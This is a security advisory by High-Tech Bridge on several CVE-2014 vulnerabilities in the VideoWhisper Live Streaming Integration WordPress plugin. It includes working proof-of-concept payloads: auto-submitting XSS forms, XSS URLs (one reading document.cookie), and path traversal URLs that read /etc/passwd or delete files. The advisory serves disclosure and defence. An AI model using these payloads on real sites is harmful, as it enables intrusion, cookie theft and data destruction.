High-Tech BridgeHTB23199Multiple Vulnerabilities in VideoWhisper Live Streaming Integration WP Plugin
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.01 Low
EPSS
Percentile
82.2%
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.
-
Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905
VideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in “/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php”. A remote attacker can upload and execute arbitrary PHP file on the target system.
The following PoC code demonstrates exploitation of the vulnerability:
After successful exploitation the remote shell will be accessible via the following URL:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ snapshots/1.php.jpg
Successful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension. -
Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906
2.1 The vulnerability exists due to insufficient filtration of “m” HTTP POST parameter in “/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php” script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin’s widget. The script will be also executed in administrative section on the following page:
http://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&t ab=live
The exploitation examples below use the “alert()” JavaScript function to display “immuniweb” word:
<body onLoad=“document.hack.submit()”>
<form name=“hack” action=“http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/lb_status.php” method=“post”>
<input type=“hidden” name=“s” value=“1”>
<input type=“hidden” name=“u” value=“1”>
<input type=“hidden” name=“r” value=“1”>
<input type=“hidden” name=“m” value=“<script>alert(‘immuniweb’)</script>”>
</form>
</body>
2.2 The vulnerability exists due to insufficient filtration of “msg” HTTP POST parameter in “/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php” script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page.
The exploitation examples below use the “alert()” JavaScript function to display “immuniweb” word:
<body onLoad=“document.hack.submit()”>
<form name=“hack” action=“http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/vc_chatlog.php” method=“post”>
<input type=“hidden” name=“msg” value=“<script>alert(‘immuniweb’)</script>”>
<input type=“hidden” name=“r” value=“1”>
</form>
</body>
The code will be executed when the user visits the following URL:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ uploads/[room]/Log[date].html
Where [room] is set by HTTP POST parameter r and [date] is the current date.
2.3 The vulnerabilities exist due to insufficient filtration of “n” HTTP GET parameter passed to scripts “channel.php”, “htmlchat.php”, “video.php” and “videotext.php” within the “/wp-content/plugins/videowhisper-live-streaming-integration/ls/” directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation examples below use the “alert()” JavaScript function to display “immuniweb” word:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ channel.php?n=%3C/title%3E%3Cscript%3Ealert(‘immuniweb’)%3C/script%3E
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert(‘immuniweb’)%3C/script%3E
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ video.php?n=%3C/title%3E%3Cscript%3Ealert(‘immuniweb’)%3C/script%3E
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
2.4 The vulnerability exists due to insufficient filtration of “message” HTTP GET parameter passed to “/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php” script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display “immuniweb” word:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert(‘immuniweb’)%3C/script%3 E
2.5 The vulnerability exists due to insufficient filtration of “ct” HTTP POST parameter passed to “/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php” script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display “immuniweb” word:
<body onLoad=“document.hack.submit()”>
<form name=“hack” action=“http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/lb_status.php” method=“post”>
<input type=“hidden” name=“s” value=“1”>
<input type=“hidden” name=“r” value=“1”>
<input type=“hidden” name=“ct” value=“<script>alert(‘immuniweb’)</script>”>
</form>
</body>
2.6 The vulnerability exists due to insufficient filtration of “ct” HTTP POST parameter passed to “/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php” script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display “immuniweb” word:
<body onLoad=“document.hack.submit()”>
<form name=“hack” action=“http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/v_status.php” method=“post”>
<input type=“hidden” name=“s” value=“1”>
<input type=“hidden” name=“r” value=“1”>
<input type=“hidden” name=“ct” value=“<script>alert(‘immuniweb’)</script>”>
</form>
</body>
- Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907
3.1 The vulnerability exists due to insufficient filtration of “s” HTTP GET parameter in “/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php” script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences.
The exploitation example below displays contents of “/etc/passwd” file:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp_login.php?s=…/…/…/…/…/…/etc/passwd
3.2 The vulnerability exists due to insufficient filtration of “s” HTTP GET parameter in “/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php” script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences.
The exploitation example below deletes a file “/tmp/immuniweb”:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp_logout.php?s=…/…/…/…/…/…/…/…/tmp/immuniweb
Successful exploitation of this vulnerability requires that file “/tmp/immuniweb” exists on the system.
- Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908
4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application.
The following URL can be used to gain knowledge of full installation path of the application:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp. php
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/vid eowhisper_streaming.php
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp.inc.php
| CPE | Name | Operator | Version |
|---|---|---|---|
| videowhisper live streaming integration | le | 4.27.3 |
Related
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.01 Low
EPSS
Percentile
82.2%